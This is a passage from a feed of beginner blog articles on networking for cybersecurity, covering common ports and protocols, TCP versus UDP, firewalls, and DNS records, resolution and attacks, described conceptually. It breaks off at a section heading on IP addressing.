&lt;li&gt;(&lt;strong&gt;Web&lt;/strong&gt;) HTTP – Port 80&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Normal web traffic, not encrypted, easy to intercept.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Web&lt;/strong&gt;) HTTPS – Port 443&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Encrypted using TLS, secure version of HTTP.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Web&lt;/strong&gt;) DNS – Port 53 (UDP/TCP)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Domain → IP resolver. Target of poisoning, hijacking, tunneling.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Remote Access&lt;/strong&gt;) SSH – Port 22&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Secure remote shell. Heavy brute-force target.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Remote Access&lt;/strong&gt;) RDP – Port 3389&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Windows remote desktop. Major ransomware entry point.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Remote Access&lt;/strong&gt;) Telnet – Port 23&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Old remote access, not encrypted, insecure.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Network Infrastructure&lt;/strong&gt;) ARP – No port (Layer 2)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;IP → MAC mapping. Can be spoofed → MITM attacks.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Network Infrastructure&lt;/strong&gt;) ICMP – No port&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Ping, traceroute. Used for discovery and ICMP floods.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;Network Infrastructure&lt;/strong&gt;) DHCP – Ports 67/68&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Gives IP addresses automatically. Rogue DHCP attacks possible.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;File Transfer &amp;amp; Services&lt;/strong&gt;) FTP – Port 21&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;File transfer. No encryption, insecure by default.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;File Transfer &amp;amp; Services&lt;/strong&gt;) SFTP – Port 22&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Secure file transfer over SSH. Encrypted.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;File Transfer &amp;amp; Services&lt;/strong&gt;) SMB – Port 445&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Windows file sharing. Exploited by ransomware (WannaCry).&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;File Transfer &amp;amp; Services&lt;/strong&gt;) SMTP – Port 25&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Sending emails.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;File Transfer &amp;amp; Services&lt;/strong&gt;) IMAP – Port 143&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Reading emails from server.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;File Transfer &amp;amp; Services&lt;/strong&gt;) POP3 – Port 110&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Downloading emails.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;(&lt;strong&gt;File Transfer &amp;amp; Services&lt;/strong&gt;) NTP – Port 123&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Time synchronization across devices. Used in DDoS amplification.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which Protocol Matters Most in Cybersecurity?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTPS / TLS — encryption, certificates, MITM protection&lt;/li&gt;
&lt;li&gt;DNS — poisoning, tunneling, hijacking&lt;/li&gt;
&lt;li&gt;SSH — brute force, key management&lt;/li&gt;
&lt;li&gt;SMB — network worms, ransomware&lt;/li&gt;
&lt;li&gt;ARP — LAN attacks, spoofing, MITM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;My Personal Quick Notes (Easy Memory)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTP / HTTPS → Web&lt;/li&gt;
&lt;li&gt;DNS → Phonebook&lt;/li&gt;
&lt;li&gt;SSH → Secure remote access&lt;/li&gt;
&lt;li&gt;RDP → Windows remote desktop&lt;/li&gt;
&lt;li&gt;SMB → Windows file sharing, risky&lt;/li&gt;
&lt;li&gt;FTP → Old, unencrypted, avoid&lt;/li&gt;
&lt;li&gt;ARP → LAN mapping&lt;/li&gt;
&lt;li&gt;DHCP → Gives IP addresses&lt;/li&gt;
&lt;li&gt;ICMP → Ping&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Protocols are just rules for communication.&lt;br&gt;
For cybersecurity, each protocol means a new attack surface.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. TCP vs UDP: Security and Behavior Differences
&lt;/h2&gt;

&lt;p&gt;TCP and UDP are the two main transport protocols. They decide how data is delivered between devices.&lt;br&gt;
I think of them like two different delivery styles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP → a careful delivery guy&lt;/li&gt;
&lt;li&gt;UDP → a fast delivery guy
Both are useful, but in cybersecurity they behave very differently.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TCP in Simple Words (Reliable)&lt;/strong&gt;&lt;br&gt;
TCP checks everything. It cares about correctness.&lt;br&gt;
Key Features&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Connection-based&lt;/li&gt;
&lt;li&gt;3-way handshake (SYN → SYN-ACK → ACK)&lt;/li&gt;
&lt;li&gt;Guarantees delivery&lt;/li&gt;
&lt;li&gt;Retransmits lost packets&lt;/li&gt;
&lt;li&gt;Maintains order&lt;/li&gt;
&lt;li&gt;Used for important data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Used by&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTPS&lt;/li&gt;
&lt;li&gt;HTTP/1.1&lt;/li&gt;
&lt;li&gt;SSH&lt;/li&gt;
&lt;li&gt;FTP&lt;/li&gt;
&lt;li&gt;Email (SMTP, IMAP, POP3)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security Perspective&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can be targeted by:

&lt;ul&gt;
&lt;li&gt;SYN Flood (DDoS)&lt;/li&gt;
&lt;li&gt;RST injection&lt;/li&gt;
&lt;li&gt;Session hijacking&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;State-based, so firewalls track TCP connections&lt;/li&gt;

&lt;li&gt;Harder to spoof because of sequence numbers&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;UDP in Simple Words (Fast)&lt;/strong&gt;&lt;br&gt;
UDP = fast but unreliable. UDP does not care. It just throws the data and runs.&lt;br&gt;
Key Features&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No handshake&lt;/li&gt;
&lt;li&gt;No connection&lt;/li&gt;
&lt;li&gt;No guarantee of delivery&lt;/li&gt;
&lt;li&gt;No retransmission&lt;/li&gt;
&lt;li&gt;Lightweight, minimal overhead&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Used by&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS&lt;/li&gt;
&lt;li&gt;Video streaming&lt;/li&gt;
&lt;li&gt;Online gaming&lt;/li&gt;
&lt;li&gt;VoIP (calls)&lt;/li&gt;
&lt;li&gt;DHCP &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security Perspective&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Easy to spoof (no connection state)&lt;/li&gt;
&lt;li&gt;Used in many DDoS attacks:

&lt;ul&gt;
&lt;li&gt;DNS amplification&lt;/li&gt;
&lt;li&gt;NTP amplification&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Hard for firewalls to track (stateless)&lt;/li&gt;

&lt;li&gt;No guarantee → attackers can send huge volumes cheaply&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  8. How Firewalls and Tools Use Ports &amp;amp; Protocols
&lt;/h2&gt;

&lt;p&gt;Firewalls are one of the most important security tools. They use IP addresses, ports, and protocols to decide:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Allow this traffic? Block it? Inspect it? Log it?&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Firewalls Think in Layers&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Firewalls don’t see the whole OSI model deeply — they focus on specific parts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Layer 3 → IP addresses&lt;/li&gt;
&lt;li&gt;Layer 4 → Ports + TCP/UDP&lt;/li&gt;
&lt;li&gt;Layer 7 → Application protocols (HTTP, DNS, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So their logic is basically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Who is talking (IP)?&lt;/li&gt;
&lt;li&gt;Through which door (port)?&lt;/li&gt;
&lt;li&gt;Using what method (TCP/UDP/protocol)?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;1. Basic Firewall Rules (L3/L4)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Firewalls filter traffic using:&lt;/p&gt;

&lt;p&gt;IP Rules&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Allow/Block specific IPs&lt;/li&gt;
&lt;li&gt;Allow subnets (e.g., 192.168.1.0/24)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Port Rules&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Allow 80/443 (web)&lt;/li&gt;
&lt;li&gt;Allow 22 only for admins&lt;/li&gt;
&lt;li&gt;Block 23 (Telnet), 445 (SMB), etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Protocol Rules&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Allow TCP&lt;/li&gt;
&lt;li&gt;Block UDP&lt;/li&gt;
&lt;li&gt;Allow only certain ICMP types&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Classic filtering = IP + Port + Protocol&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Stateful Firewalls (Most Common)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Stateful = firewall remembers active connections.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tracks TCP handshake &amp;amp; status&lt;/li&gt;
&lt;li&gt;Tracks UDP “pseudo-sessions”&lt;/li&gt;
&lt;li&gt;Automatically allows return traffic for legitimate sessions&lt;/li&gt;
&lt;li&gt;Makes spoofing harder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;If you initiate a request, response traffic is allowed.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Next-Generation Firewalls (L7)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;NGFW look into the application layer, not just ports.&lt;/p&gt;

&lt;p&gt;They can inspect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTP&lt;/li&gt;
&lt;li&gt;DNS&lt;/li&gt;
&lt;li&gt;TLS certificates&lt;/li&gt;
&lt;li&gt;API calls&lt;/li&gt;
&lt;li&gt;Malware patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 443 but not real HTTPS → suspicious&lt;/li&gt;
&lt;li&gt;Detect DNS tunneling&lt;/li&gt;
&lt;li&gt;Block apps like TikTok/WhatsApp&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;They inspect the actual content, not just the port number.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Tools That Work With Ports &amp;amp; Protocols&lt;/strong&gt;&lt;br&gt;
Nmap&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port scanning&lt;/li&gt;
&lt;li&gt;Service/version detection&lt;/li&gt;
&lt;li&gt;OS fingerprinting&lt;/li&gt;
&lt;li&gt;Used by pentesters &amp;amp; attackers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wireshark&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Packet capture/analysis&lt;/li&gt;
&lt;li&gt;Shows protocols, headers, payloads&lt;/li&gt;
&lt;li&gt;Great for learning &amp;amp; debugging&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;iptables/ufw/Windows Firewall&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create rules for ports, IPs, protocols&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IDS/IPS (Snort, Suricata)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deep inspection&lt;/li&gt;
&lt;li&gt;Detect/block suspicious behavior&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  9. Why Understanding OSI &amp;amp; TCP/IP Matters in Cybersecurity
&lt;/h2&gt;

&lt;p&gt;Attackers don’t “hack the internet.” They exploit specific layers.&lt;br&gt;
Knowing &lt;strong&gt;OSI&lt;/strong&gt; and &lt;strong&gt;TCP/IP&lt;/strong&gt; makes cybersecurity much easier because every attack, tool, and protocol sits on a specific layer. ARP spoofing is Layer 2, IP spoofing is Layer 3, SYN floods are Layer 4, and web attacks like SQL injection are Layer 7. Firewalls, VPNs, WAFs, and IDS/IPS also work at different layers, so understanding the models helps you see where protection happens and where vulnerabilities live. When you analyze traffic in Wireshark or troubleshoot network issues, these layers give you a mental map to understand what’s happening. In short: &lt;strong&gt;OSI/TCP-IP&lt;/strong&gt; help you locate attacks, understand protocols, and communicate clearly in security work.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5me5b2hx8kaqoidtq0ca.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5me5b2hx8kaqoidtq0ca.jpg" alt=" " width="800" height="394"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Summary and What Comes Next (Part 2 Preview)
&lt;/h2&gt;

&lt;p&gt;In this first part, we built the foundation every cybersecurity learner needs: how the &lt;strong&gt;OSI **and **TCP/IP models&lt;/strong&gt; work, how data moves through layers, and how ports and protocols define communication between systems. These concepts will come up again and again in security, whether you're analyzing traffic, detecting attacks, or understanding how tools interact with networks.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;Part 2&lt;/strong&gt;, we go deeper into &lt;strong&gt;DNS&lt;/strong&gt;, &lt;strong&gt;routing&lt;/strong&gt;, and how the internet actually moves your packets around. You'll learn how domain names resolve, how routers decide where traffic goes, why DNS is frequently attacked, and how routing weaknesses can be exploited. Understanding these systems is essential before moving on to VPNs, proxies, firewalls, sniffing, and scanning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next:&lt;/strong&gt; Networking for Cybersecurity (Part 2): DNS, Routing &amp;amp; How the Internet Works&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>network</category>
      <category>osi</category>
      <category>tcp</category>
    </item>
    <item>
      <title>Networking for Cybersecurity (Part 2): DNS, Routing &amp; How the Internet Works</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Mon, 08 Dec 2025 22:00:19 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-2-dns-routing-how-the-internet-works-50b2</link>
      <guid>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-2-dns-routing-how-the-internet-works-50b2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff2ht50ow8qzvglh81u8l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff2ht50ow8qzvglh81u8l.png" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Introduction: Why DNS &amp;amp; Routing Matter in Cybersecurity
&lt;/h2&gt;

&lt;p&gt;DNS and routing are the core of how the internet works. If OSI/TCP-IP explains the structure, DNS and routing explain how devices actually find each other and how data moves from point A to point B. For cybersecurity, this is critical because attackers often target these systems directly - not your app.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;DNS decides where you go.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Routing decides how you get there.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;DNS decides the destination. Routing decides the path. Attackers abuse both.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If either of these is manipulated, attackers can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redirect you to fake websites&lt;/li&gt;
&lt;li&gt;Intercept or reroute traffic&lt;/li&gt;
&lt;li&gt;Bypass normal security paths&lt;/li&gt;
&lt;li&gt;Hide malware communication&lt;/li&gt;
&lt;li&gt;Take parts of the internet offline&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding DNS and routing helps you see how traffic flows, where attacks can happen, and how to defend against them. These are not just networking concepts, they are core security concepts, because nearly every major cyberattack interacts with DNS, routing, or both.&lt;/p&gt;

&lt;p&gt;A cybersecurity engineer who understands DNS + routing can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detect DNS poisoning&lt;/li&gt;
&lt;li&gt;Recognize BGP hijacks&lt;/li&gt;
&lt;li&gt;Understand how malware hides traffic&lt;/li&gt;
&lt;li&gt;Debug why traffic is failing&lt;/li&gt;
&lt;li&gt;Secure internal networks&lt;/li&gt;
&lt;li&gt;Spot suspicious redirections instantly&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. What DNS Really Does (Full Breakdown)
&lt;/h2&gt;

&lt;p&gt;DNS has three main jobs.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It translates names to IP addresses.&lt;/li&gt;
&lt;li&gt;It stores extra information about domains.&lt;/li&gt;
&lt;li&gt;It routes your request through a chain of DNS servers until the final answer is found.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8p1dw6p7mgawky83s162.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8p1dw6p7mgawky83s162.jpg" alt=" " width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;DNS is not only a phonebook. It also handles email routing, load balancing, content delivery, subdomain management, and security settings. Many problems on the internet happen because DNS is slow, misconfigured, or poisoned by attackers.&lt;/p&gt;

&lt;p&gt;From a security perspective, DNS is a critical point in the communication chain. If an attacker controls DNS, they control where users go. That means they can redirect users to fake sites, hide malware traffic inside DNS queries, or send victims to malicious servers without them noticing.&lt;/p&gt;

&lt;p&gt;DNS looks simple on the surface but has many layers and moving parts. Understanding it gives you a huge advantage in detecting and preventing network attacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. DNS Records and Their Security Implications
&lt;/h2&gt;

&lt;p&gt;DNS records are small pieces of information stored in DNS that tell the internet how a domain should behave. Each record type has a specific purpose, and each one can create security risks if not configured correctly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc2qz56eq8wqf8sfs30wu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc2qz56eq8wqf8sfs30wu.jpg" alt=" " width="800" height="1017"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A Record&lt;/strong&gt;&lt;br&gt;
Maps a domain name (example.com) to an IPv4 address.&lt;br&gt;
Security note: If an attacker changes this record, users get redirected to a malicious IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AAAA Record&lt;/strong&gt;&lt;br&gt;
Same as A record but for IPv6 addresses.&lt;br&gt;
Security note: Same risk as A record but harder to monitor because IPv6 is less visible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CNAME&lt;/strong&gt;&lt;br&gt;
Makes one domain point to another domain.&lt;br&gt;
Security note: If the target domain is compromised, all CNAME-linked domains are also affected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MX Record&lt;/strong&gt;&lt;br&gt;
Defines which mail servers handle email for the domain.&lt;br&gt;
Security note: Misconfigured MX records lead to email spoofing and interception.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TXT Record&lt;/strong&gt;&lt;br&gt;
Stores text. Used for SPF, DKIM, DMARC and verification.&lt;br&gt;
Security note: Incorrect SPF or DMARC settings make email spoofing much easier.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NS Record&lt;/strong&gt;&lt;br&gt;
Specifies which DNS servers are authoritative for the domain.&lt;br&gt;
Security note: If an attacker changes the NS record, they control the entire domain’s DNS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOA Record&lt;/strong&gt;&lt;br&gt;
Contains administrative info about the domain’s zone.&lt;br&gt;
Security note: Weak SOA settings can make DNS updates less reliable or easier to abuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PTR Record&lt;/strong&gt;&lt;br&gt;
Reverse DNS lookup. IP to domain.&lt;br&gt;
Security note: Often used in email security. Missing PTR increases spam flags.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SRV Record&lt;/strong&gt;&lt;br&gt;
Used to specify services like SIP, VoIP, or AD domain controllers.&lt;br&gt;
Security note: Wrong SRV records expose internal infrastructure details.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CAA Record&lt;/strong&gt;&lt;br&gt;
Specifies which certificate authorities are allowed to issue SSL certificates for your domain.&lt;br&gt;
Security note: Protects against unauthorized HTTPS certificates being issued.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. DNS Resolution: Step-by-Step Process
&lt;/h2&gt;

&lt;p&gt;When you type a domain into your browser, your device must go through several steps to find the correct IP address. This sequence is called DNS resolution. It looks simple on the surface, but there are multiple layers and servers involved.&lt;/p&gt;

&lt;p&gt;Here is the full process in plain language.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Your device checks its own cache.&lt;br&gt;
If the answer was recently resolved, it is stored locally. No external request is made.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Your device asks the DNS resolver (usually your ISP or a public resolver like 8.8.8.8).&lt;br&gt;
The resolver is responsible for doing the full lookup on your behalf.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; The resolver checks its cache.&lt;br&gt;
If found, it returns the IP immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; If not found, the resolver contacts a root DNS server.&lt;br&gt;
Root servers tell it which top-level domain server to ask next (for .com, .net, etc).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; The resolver contacts the TLD server.&lt;br&gt;
The TLD server tells it which authoritative DNS server is responsible for the domain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 6:&lt;/strong&gt; The resolver contacts the authoritative DNS server.&lt;br&gt;
This server holds the real DNS records for the domain. It returns the final answer (A, AAAA, or CNAME record).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 7:&lt;/strong&gt; The resolver sends the answer back to your device.&lt;br&gt;
Your device stores it in local cache for a short time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 8:&lt;/strong&gt; Your browser now knows the correct IP and begins the connection using TCP or UDP.&lt;/p&gt;

&lt;p&gt;From a cybersecurity perspective, every step is a potential attack surface. DNS poisoning, man-in-the-middle, spoofing, cache manipulation, and forged responses can all occur in this chain if protections like DNSSEC are not used.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. DNS Attacks and Security Weaknesses
&lt;/h2&gt;

&lt;p&gt;DNS was designed for speed and simplicity, not security. Because of this, attackers often target DNS to redirect users, steal data, or hide malicious traffic. Understanding these weaknesses is essential for cybersecurity work.&lt;/p&gt;

&lt;p&gt;Most common DNS attacks:&lt;br&gt;
&lt;strong&gt;DNS Cache Poisoning&lt;/strong&gt;&lt;br&gt;
The attacker injects a fake DNS response into a resolver’s cache. This causes users to be redirected to a malicious site until the cache expires.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Spoofing&lt;/strong&gt;&lt;br&gt;
The attacker forges a DNS reply faster than the real server. Your device receives a fake IP and connects to the wrong server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Hijacking&lt;/strong&gt;&lt;br&gt;
The attacker gains control of DNS records, nameservers, or the domain registrar. This gives full control over the domain’s traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rogue DNS Servers&lt;/strong&gt;&lt;br&gt;
The attacker tricks users into using a fake DNS resolver (through Wi-Fi, malware, or router hacks). All DNS queries are intercepted and modified.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Tunneling&lt;/strong&gt;&lt;br&gt;
Attackers hide data inside DNS queries to bypass firewalls and exfiltrate information. Often used by malware or covert channels.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Domain Shadowing&lt;/strong&gt;&lt;br&gt;
Attackers compromise a real domain’s DNS account and quietly create hidden subdomains for phishing or malware.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NXDOMAIN Attacks&lt;/strong&gt;&lt;br&gt;
Attackers flood DNS servers with queries for non-existent domains. This slows or crashes the DNS infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Amplification (DDoS)&lt;/strong&gt;&lt;br&gt;
Attackers use DNS servers to create massive traffic and overwhelm a victim. Small DNS request turns into a very large response, magnifying the attack.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. How Routing Works on the Internet
&lt;/h2&gt;

&lt;p&gt;Routing is the process of moving data from one network to another until it reaches the correct destination. Every device connected to the internet uses routers to decide the best path for each packet.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2ugvzdow26yhij4b4yyn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2ugvzdow26yhij4b4yyn.png" alt=" " width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Your device does not send data directly to the final server. It sends data to your router, and that router forwards it to another router, and so on, until the packet reaches the destination network.&lt;/p&gt;

&lt;p&gt;Routers build and maintain routing tables to decide these paths. These tables contain networks, next hops, and metrics to determine the most efficient route. As the packet travels, each router examines the destination IP and chooses the next hop.&lt;/p&gt;

&lt;p&gt;Routing works at Layer 3 (the Network layer). This is where IP addresses and network prefixes matter. No matter how complex the internet is, routing always follows this pattern: look at the destination IP, match it to the best route, forward the packet.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. IP Addressing, Subnets &amp;amp; CIDR (Security View)
&lt;/h2&gt;

